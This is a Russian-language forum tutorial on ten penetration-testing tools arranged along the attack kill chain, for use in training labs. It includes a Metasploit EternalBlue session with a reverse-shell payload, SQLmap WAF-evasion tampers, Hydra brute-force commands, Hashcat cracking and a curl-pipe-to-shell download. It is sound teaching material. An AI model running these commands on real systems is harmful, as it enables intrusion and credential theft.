Статья Инструменты пентестера: TOP-10 с реальными примерами в каждой фазе атаки

Raspberry Pi с открытыми контактами GPIO на антистатическом коврике рядом с кабелем. Экран ноутбука в боке светится бирюзой, янтарный свет лампы падает на плату.


Когда я начинаю вести воркшоп для начинающих, первый вопрос всегда один: «Какие инструменты установить?» И каждый раз я отвечаю встречным: «А на каком этапе атаки ты сейчас находишься?» Разница между джуном и опытным пентестером не в количестве утилит в системе, а в понимании - зачем конкретный инструмент запускается именно сейчас. Nmap без контекста - просто сканер портов. Nmap в начале kill chain - разведывательный модуль, от которого зависит весь дальнейший вектор атаки.

Дальше - десять инструментов пентестера, которые я реально запускаю каждую неделю. Не просто флаги и ключи, а привязка к этапу тестирования на проникновение: что отобразится на экране и какое решение ты примешь по итогам. Все инструменты привязаны к техникам MITRE ATT&CK - тот язык, на котором разговаривают и пентестеры, и защитники одновременно.

Требования к окружению: Kali Linux 2024.x или Parrot OS с предустановленным набором утилит, минимум 4 ГБ RAM для Burp Suite, учебная среда - TryHackMe, HackTheBox или локальная лаборатория с Metasploitable. Всё тестирование - только с письменного разрешения владельца системы.

Почему набор программ для взлома без kill chain - пустая трата времени​

Большинство русскоязычных гайдов по инструментам хакера строятся как плоский список: вот Nmap, вот Metasploit, вот Wireshark - пользуйтесь. Это примерно как дать человеку скальпель, пилу и зажим и сказать: «Теперь ты хирург». Без понимания последовательности инструменты бесполезны.

В реальном пентесте каждый шаг определяет следующий. Сначала разведка - выясняешь, что вообще работает на периметре. Затем анализ поверхности атаки - ищешь веб-приложения, открытые сервисы, точки входа. Потом эксплуатация - превращаешь найденную уязвимость в доступ. После - повышение привилегий и перемещение по сети.

MITRE ATT&CK формализует эту логику. Каждой фазе соответствуют конкретные техники: Reconnaissance, Initial Access, Credential Access, Privilege Escalation, Lateral Movement. Запускаешь Nmap - выполняешь Network Service Discovery (T1046). Пробиваешь веб-форму через SQLmap - Exploit Public-Facing Application (T1190). Перебираешь пароли Hydra - Brute Force (T1110). Такой подход делает пентест системным и позволяет писать отчёты, которые заказчик реально может использовать, а не складывать в стол.

1776947570333.webp

Дальше - десять лучших инструментов для пентеста в порядке kill chain, от первого контакта с целью до полного контроля над системой.

Kali Linux - платформа для инструментов ethical hacking​

Прежде чем говорить об отдельных утилитах - пара слов о платформе. Kali Linux - специализированный дистрибутив с предустановленным набором из 600+ инструментов, покрывающих каждую фазу тестирования на проникновение. Не нужно ничего компилировать вручную или разгребать конфликты зависимостей: Nmap, Metasploit, Burp Suite, Wireshark, SQLmap, Hydra, Hashcat, ffuf - всё работает из коробки.

Альтернатива - Parrot OS, который жрёт меньше ресурсов и лучше подходит для ноутбуков с ограниченной оперативкой. Для начинающих разницы почти нет: оба дистрибутива содержат одинаковый арсенал кали линукс инструментов. Выбирайте тот, в котором комфортнее работать, и переходите к практике.

Разведка: Nmap и сканирование сети​

Nmap - сканирование сети как фундамент пентеста​

Nmap запускается первым. Всегда. Его задача - показать карту территории: какие хосты живы, какие порты открыты, какие сервисы крутятся и какие версии ПО за ними стоят. В терминологии MITRE ATT&CK - техники Network Service Discovery (T1046, Discovery) и Vulnerability Scanning (T1595.002, Reconnaissance).

Типичный запуск: nmap -sV -sC -p- --min-rate=1000 10.10.10.100. Флаг -sV определяет версии сервисов, -sC запускает набор стандартных NSE-скриптов, -p- сканирует все 65535 портов, а --min-rate=1000 задаёт минимальную скорость отправки пакетов, чтобы не ждать полчаса.
Код:
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 7.9p1 Debian
80/tcp   open  http     Apache httpd 2.4.38
443/tcp  open  ssl/http Apache httpd 2.4.38
3306/tcp open  mysql    MySQL 5.7.33
8080/tcp open  http     Apache Tomcat 9.0.30
Что тут видно и что это значит для дальнейшего пентеста? Порт 22 с OpenSSH 7.9 - можно проверить на известные CVE, но скорее всего пойдём через веб. Порт 80 и 443 - Apache 2.4.38, стоит запускать перебор директорий (фуззинг) и Burp Suite. MySQL 3306 торчит наружу - потенциальный вектор для брутфорса (и вообще, зачем он открыт на периметре?). А вот порт 8080 с Tomcat 9.0.30 - горячая находка: старые версии Tomcat часто содержат дыры в менеджере деплоя.

Отдельная тема - NSE-скрипты. Это не просто «бонус». Скрипт http-enum находит стандартные директории веб-серверов, smb-vuln-ms17-010 проверяет EternalBlue, а ssl-heartbleed обнаруживает Heartbleed. Я для быстрой разведки AD-периметра часто запускаю связку --script ldap-rootdse,smb-enum-shares,smb-os-discovery - она даёт имя домена, общие ресурсы и версию ОС за один проход.

Когда целей много - десятки и сотни хостов - Nmap становится медленным. По данным Schellman, в таких случаях профессиональные пентестеры переключаются на Masscan для первичного сканирования всех портов, а затем точечно добивают найденное Nmap с флагом -sV.

Веб-тестирование: Burp Suite, ffuf и SQLmap

Burp Suite - главный инструмент для веб-тестирования​

Если Nmap - глаза пентестера в сети, то Burp Suite - его руки в веб-приложениях. Это платформа для перехвата, анализа и модификации HTTP-трафика между браузером и сервером. По MITRE ATT&CK - этап Exploit Public-Facing Application (T1190, Initial Access).

1776948210936.webp

Рабочий процесс начинается с настройки прокси: браузер направляет трафик через 127.0.0.1:8080, и каждый запрос попадает в Burp. Во вкладке Proxy видны все GET и POST запросы - можно остановить любой из них, изменить параметры и отправить дальше. Вкладка Repeater позволяет вручную модифицировать и переотправлять запросы - именно здесь проверяются XSS, IDOR, SSRF и прочие радости жизни.

Для burp suite веб-тестирования критически важны расширения. Active Scan++ добавляет проверки, которых нет в базовом сканере - его написал Джеймс Кеттл, один из ведущих исследователей PortSwigger. Autorize автоматизирует тестирование авторизации: переигрывает запросы от пользователя A с токеном пользователя B и сравнивает ответы. Сервер отдаёт одинаковые данные - у тебя IDOR. JS Miner находит скрытые эндпоинты в JavaScript-файлах, которые не видны при обычном серфинге.

Бесплатная версия Burp Suite Community Edition достаточна для обучения: Proxy, Repeater, Decoder - для начала хватит за глаза. Но для реальных проектов нужна Pro - из-за автоматического сканера и Intruder без ограничений по скорости.

ffuf - фуззинг директорий и скрытых параметров​

Burp Suite анализирует то, что ты уже нашёл. А ffuf помогает найти то, что спрятано. Быстрый фуззер для брутфорса директорий, файлов и параметров веб-приложений. Старые dirb и dirsearch он заменил за счёт скорости и гибкости - и это не пустые слова, а реальная разница в разы.

Базовый запуск: ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://10.10.10.100/FUZZ -mc 200,301,302 -t 50. Здесь -w - словарь, FUZZ - маркер подстановки, -mc фильтрует по кодам ответа, а -t 50 задаёт количество потоков. На выходе - список существующих путей: /admin, /backup, /api/v1, /config.php.bak.

Продвинутый приём - фуззинг виртуальных хостов: ffuf -w subdomains.txt -u http://10.10.10.100 -H "Host: FUZZ.target.com" -fs 4242, где -fs исключает ответы стандартного размера. Этот трюк находит внутренние приложения, привязанные к определённым поддоменам, которые не видны при обычном сканировании. На одном проекте мы так нашли staging-версию API с отключённой авторизацией.

SQLmap - автоматизация SQL-инъекций​

SQLmap автоматизирует обнаружение и эксплуатацию SQL-инъекций - одной из самых опасных уязвимостей веб-приложений. Согласно OWASP, инъекции стабильно входят в TOP-10 рисков безопасности. В kill chain sqlmap инъекции - это переход от найденной точки входа к извлечению данных или выполнению команд.

Правильный воркфлоу: сначала находишь подозрительный параметр через Burp Suite, сохраняешь запрос в файл и скармливаешь SQLmap: sqlmap -r request.txt --dbs --batch. Флаг -r берёт полный HTTP-запрос из файла (с куками и заголовками), --dbs перечисляет базы данных, --batch отвечает на все вопросы по умолчанию.

Если WAF блокирует запросы, помогают тамперы: sqlmap -r request.txt --tamper=space2comment,between --random-agent. Тамперы трансформируют пейлоады - заменяют пробелы комментариями, оборачивают значения в BETWEEN. Но тут важно не обольщаться: SQLmap не всегда находит сложные инъекции, особенно логические. Слепую time-based он обнаружит, а нестандартную второго порядка - вряд ли. Тут без ручного анализа через Burp Repeater никуда.

Эксплуатация: Metasploit Framework​

Metasploit Framework - от эксплойта до контроля над системой​

Metasploit Framework - центральный red team инструмент для разработки и запуска эксплойтов. Нашёл уязвимость через Nmap или Burp Suite - Metasploit превращает её в реальный доступ к системе. Техника по MITRE ATT&CK - Exploit Public-Facing Application (T1190, Initial Access).

Типичная сессия - допустим, Nmap обнаружил SMB-сервис на Windows, и скрипт smb-vuln-ms17-010 подтвердил EternalBlue:
Код:
msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.10.10.100
set LHOST 10.10.14.5
set PAYLOAD windows/x64/meterpreter/reverse_tcp
run
Если эксплойт отработал - получаешь сессию Meterpreter, интерактивный shell с расширенными возможностями. Команда sysinfo покажет версию ОС и архитектуру, getuid - под каким пользователем работаешь, hashdump - дампит хеши паролей из SAM-базы.

Настоящая сила Metasploit не в отдельных эксплойтах, а в связке модулей. post/multi/recon/local_exploit_suggester анализирует текущую сессию и предлагает подходящие эксплойты для повышения привилегий. auxiliary/scanner/smb/smb_ms17_010 проверяет целый диапазон хостов на уязвимость, не запуская сам эксплойт. А post/windows/gather/credentials/credential_collector собирает сохранённые пароли из системы.

Для контекста: критические уязвимости вроде CVE-2021-21972 в VMware vCenter Server (CVSS 9.8 CRITICAL, file upload RCE) или CVE-2021-44228 Log4Shell (CVSS 10.0 CRITICAL) появляются в Metasploit в виде готовых модулей (например, exploit/multi/http/log4shell_header_injection).

Атаки на учётные данные: Hydra и Hashcat​

Hydra - брутфорс сетевых сервисов​

Hydra - утилита для перебора паролей к сетевым сервисам: SSH, FTP, RDP, HTTP-формы, SMB и десятки других протоколов. В терминах MITRE ATT&CK - техника Brute Force (T1110, Credential Access).

Базовый запуск: hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://10.10.10.100 -t 4 -V. Флаг -l - логин, -P - словарь паролей, -t 4 ограничивает параллелизм до 4 потоков (SSH не любит массовые подключения, при -t 16 сервис может просто забанить IP), -V показывает каждую попытку.

Для HTTP-форм синтаксис посложнее: hydra -l admin -P passwords.txt 10.10.10.100 http-post-form "/login:user=^USER^&pass=^PASS^:Invalid credentials" -t 10. Указывается путь формы, параметры с маркерами подстановки и строка-индикатор неуспешного входа. Именно по ней Hydra понимает, что пароль не подошёл.

Ключевой момент: Hydra - онлайн-атака, работает по сети. Если сервис после пяти неудачных попыток блокирует учётку - Hydra бесполезна. Тогда другой подход: получить хеши и ломать их оффлайн.

Hashcat - взлом хешей на GPU​

Когда ты получил хеши паролей - через Metasploit hashdump, из дампа базы данных или через Responder (запускается на Linux-машине атакующего для отравления LLMNR/NBT-NS - эти протоколы используются Windows-клиентами, техника T1557.001 применима к Windows-целям) - наступает время Hashcat. Самый быстрый инструмент для оффлайн-взлома хешей, использующий мощность GPU.

Типичный запуск: hashcat -m 1000 -a 0 hashes.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule. Тип хеша -m 1000 - NTLM (NT-hash, получаемый через hashdump из SAM-базы). Тут важно не путать: Responder перехватывает NetNTLMv2-хеши, для которых нужен -m 5600 - принципиально другой формат, и попытка взломать их как -m 1000 не даст ничего. -a 0 - атака по словарю, -r best64.rule применяет мутации: добавляет цифры, меняет регистр, вставляет спецсимволы. Словарь rockyou.txt с 14 миллионами записей плюс 64 правила мутации дают огромное покрытие.

Разница с John the Ripper: John удобнее для быстрого старта и автоматического определения типа хеша, Hashcat выигрывает в скорости за счёт GPU. Я использую John для первичной проверки и автодетекта формата, а Hashcat - когда нужен серьёзный перебор NTLM и WPA-хендшейков.

Wireshark - анализ трафика в пентесте​

Wireshark - анализатор сетевых протоколов, который захватывает и разбирает каждый пакет, проходящий через интерфейс. В пентесте wireshark анализ трафика решает несколько задач: верификация того, что эксплойт действительно отработал, перехват учётных данных в незашифрованных протоколах и анализ поведения сервиса для написания кастомного эксплойта.

Два главных навыка для новичка - фильтры захвата и фильтры отображения. Фильтр захвата port 80 записывает только HTTP-трафик, экономя место. Фильтр отображения http.request.method == "POST" покажет только POST-запросы - именно в них передаются логины и пароли. Фильтр tcp.stream eq 5 выделяет конкретный TCP-поток, и ты видишь полный диалог клиента и сервера как на ладони.

Практический сценарий: запускаешь ARP-спуфинг через Bettercap или Responder, а Wireshark перехватывает трафик. Если приложение шлёт учётные данные по HTTP или использует NTLMv2 в SMB - хеши видны прямо в захвате. Фильтр ntlmssp.ntlmv2_response выделяет NTLMv2-ответы, которые потом передаёшь Hashcat. Прямая связка: Responder + Wireshark + Hashcat.

Повышение привилегий и автоматизация сканирования​

LinPEAS - автоматический поиск путей эскалации​

После получения первоначального доступа (через Metasploit, SQLmap, да хоть через украденный SSH-ключ) задача - повысить привилегии до root или SYSTEM. Вручную - это значит проверять SUID-файлы, cron-задачи, права на директории, ядро ОС, пароли в конфигах - десятки векторов. LinPEAS (и WinPEAS для Windows) автоматизирует весь этот процесс. Техника по MITRE ATT&CK - Exploitation for Privilege Escalation (T1068).

Запускается одной командой: curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh. Скрипт проверяет сотни потенциальных мисконфигураций и подсвечивает находки цветом: красный - почти гарантированный путь к root, жёлтый - стоит проверить.

Что искать в выводе: SUID-бинарники, которых не должно быть в стандартной системе; writable cron-задачи от root; файлы .bash_history, .env, .config с паролями в открытом виде; capabilities на бинарниках (cap_setuid - почти всегда путь к root). Результат LinPEAS - не готовый эксплойт, а список направлений для ручной проверки. Удивительно, но ни один русскоязычный гайд по инструментам пентестера не включает LinPEAS в базовый набор, хотя это первое, что запускается после получения shell на HackTheBox или TryHackMe.

Nuclei - современный сканер уязвимостей​

Nuclei - инструмент нового поколения для автоматизированного обнаружения уязвимостей. По данным Schellman, Nuclei становится стандартом в пентест-командах, потому что шаблоны для новых CVE появляются в нём раньше, чем в коммерческих сканерах вроде Nessus. У меня, например, он вытеснил Nikto почти полностью.

Принцип работы: Nuclei использует YAML-шаблоны, каждый из которых описывает проверку конкретной уязвимости. Сообщество поддерживает тысячи шаблонов - от CVE до мисконфигураций и дефолтных паролей. Запуск: nuclei -u http://10.10.10.100 -t cves/ -severity critical,high - проверяет цель на все критические и высокие CVE из базы шаблонов.

Для контекста: CVE-2021-44228 (Log4Shell, CVSS 10.0) - уязвимость в Apache Log4j2 от версий 2.0-beta9 до 2.15.0 включительно (исключая security-релизы 2.12.2, 2.12.3 и 2.3.1), позволяющая выполнить произвольный код через JNDI-инъекцию. Версия 2.15.0 уязвима в non-default конфигурациях (см. CVE-2021-45046), в 2.16.0 обнаружен CVE-2021-45105 (DoS). Полностью безопасны: 2.17.0+ (Java 8), 2.12.3+ (Java 7), 2.3.1+ (Java 6). CVSS 10.0 обусловлен вектором S:C (Scope Changed). CWE: CWE-20, CWE-400, CWE-502, CWE-917. Шаблон Nuclei для Log4Shell отправляет JNDI-пейлоад в различные заголовки и параметры и проверяет, приходит ли callback на контролируемый сервер. Ручная проверка того же через Burp Suite занимает часы, Nuclei делает это за минуты на десятках хостов одновременно.

Как лучшие инструменты для пентеста работают в связке: сценарий реального теста​

Представь: ты получил от заказчика IP-адрес 10.10.10.100 и разрешение на полный пентест. Вот как десять инструментов выстраиваются в цепочку.
🔓 Эксклюзивный контент для зарегистрированных пользователей.


Каждый инструмент передаёт результат следующему. Nmap нашёл порты - ffuf нашёл директории - Burp нашёл уязвимый параметр - SQLmap извлёк данные - Hashcat расшифровал пароль - Metasploit получил shell - LinPEAS нашёл путь к root. Убери одно звено - цепочка разрывается.

Сравнительная таблица инструментов пентестера​

ИнструментФаза kill chainMITRE ATT&CKЛицензияПорог входаДля чего незаменим
NmapРазведкаT1046, T1595.002Open sourceНизкийСканирование сети, инвентаризация сервисов
Burp SuiteАнализ веб-приложенийT1190Free / ProСреднийПерехват HTTP, ручное тестирование веб-уязвимостей
ffufПеречислениеT1595.002Open sourceНизкийБрутфорс директорий, виртуальных хостов, параметров
SQLmapЭксплуатацияT1190Open sourceНизкийАвтоматизация SQL-инъекций
MetasploitЭксплуатацияT1190Open source / ProСреднийЗапуск эксплойтов, генерация пейлоадов, пост-эксплуатация
HydraCredential AccessT1110Open sourceНизкийОнлайн-брутфорс сетевых сервисов
HashcatCredential AccessT1110Open sourceСреднийОффлайн-взлом хешей на GPU
WiresharkАнализ / Сбор данныхT1557.001Open sourceСреднийЗахват и разбор сетевого трафика
LinPEASPrivilege EscalationT1068Open sourceНизкийПоиск мисконфигураций для повышения привилегий
NucleiСканирование уязвимостейT1595.002Open sourceНизкийАвтоматизированное обнаружение CVE по шаблонам

Все перечисленные инструменты предустановлены в Kali Linux или устанавливаются одной командой через apt install либо go install. Для начала обучения не нужен бюджет - только виртуальная машина с Kali и учётная запись на TryHackMe.

Вопрос к читателям​

В разделе про Nmap я упомянул связку NSE-скриптов --script ldap-rootdse,smb-enum-shares,smb-os-discovery для быстрой разведки AD-периметра. На практике этот набор часто дополняют или заменяют под конкретные задачи - например, smb-vuln-* для поиска MS17-010 или dns-zone-transfer для выгрузки зоны. Какую комбинацию --script вы используете при первичном сканировании корпоративной сети? Мне интересен ваш набор скриптов с флагами и почему именно он - что он находит, чего не видят стандартные -sC скрипты. Если прикрепите фрагмент команды и описание вывода - будет идеально для обмена опытом.
 
Последнее редактирование модератором:
  • Нравится
Реакции: pitdole
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab

Похожие темы

🚀 Первый раз на Codeby?
Гайд для новичков: что делать в первые 15 минут, ключевые разделы, правила
Начать здесь →
🔴 Свежие CVE, 0-day и инциденты
То, о чём ChatGPT ещё не знает — обсуждаем в реальном времени
Threat Intel →
💼 Вакансии и заказы в ИБ
Pentest, SOC, DevSecOps, bug bounty — работа и проекты от проверенных компаний
Карьера в ИБ →

HackerLab